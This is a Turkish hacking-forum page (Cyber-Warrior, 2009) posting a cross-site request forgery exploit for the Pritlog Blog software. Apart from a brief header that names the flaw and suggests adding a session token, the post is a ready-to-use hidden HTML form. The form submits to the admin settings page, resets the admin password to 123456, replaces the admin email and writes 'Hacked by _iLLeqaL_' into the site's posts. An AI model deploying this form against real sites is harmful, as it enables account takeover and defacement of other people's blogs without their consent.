ROOT
FORUM ROOT
PORTAL ROOT
CYBER NAVIGATION
DÖKÜMANLAR
DÖKÜMAN EKLE
DOWNLOAD/DOSYA ARSIVI
BASINDA CW
CYBER ACADEMY
ORGANIZASYON
NELER YAPTIK?
OPERASYON YÖNETIM SISTEMI
GÖREV ORG. BASVURU
YÖNETICI BASVURU FORMU
MISYON
KURALLAR
KEFALET
KEFIL HAVUZU
MEMBER NAVIGATION
YENI ÜYE BASVURU
PROFIL
MEMBER NETWORK
SIFREMI UNUTTUM
ÖZEL MESAJLARIM
ONAY E-POSTA GÖNDER
Root
>
Exploits / Vulnerabilities
> Pritlog ~ XSRF Vuln.
Pritlog ~ XSRF Vuln. | Cyber-Warrior Information Technology's World
Madde
Author :
Bug Researchers/_iLLeqaL_
Date :
04.11.2009 23:22:44
#
Pritlog ~ XSRF Vuln.
[Full Screen Display]
< ——————- header data start ——————- > ############################################################# # Application Name : Pritlog Blog # vulnerable Type : XSRF # Infection : Meta ile Yönlendirilebilir , Admin sifresi degistirilebilr ..! # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmelidir ! # author : _iLLeqaL_ ~ Bug Researchers ############################################################# < ——————- header data end of ——————- > < — bug code start — > <form method=post action=http://[site].com/[yol]/index.php/adminPageBasic> <input type=hidden name=title value=Meta taginiz Burda> <input type=hidden name=newpass1 value=123456> <input type=hidden name=newpass2 value=123456> <input type=hidden name=adminEmail value=mail@mail.com> <input type=hidden name=posts value=Hacked by _iLLeqaL_ :)> <input type=hidden name=submitted value=yes> <input type=submit value= O K > </form> < — bug code end of — >
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©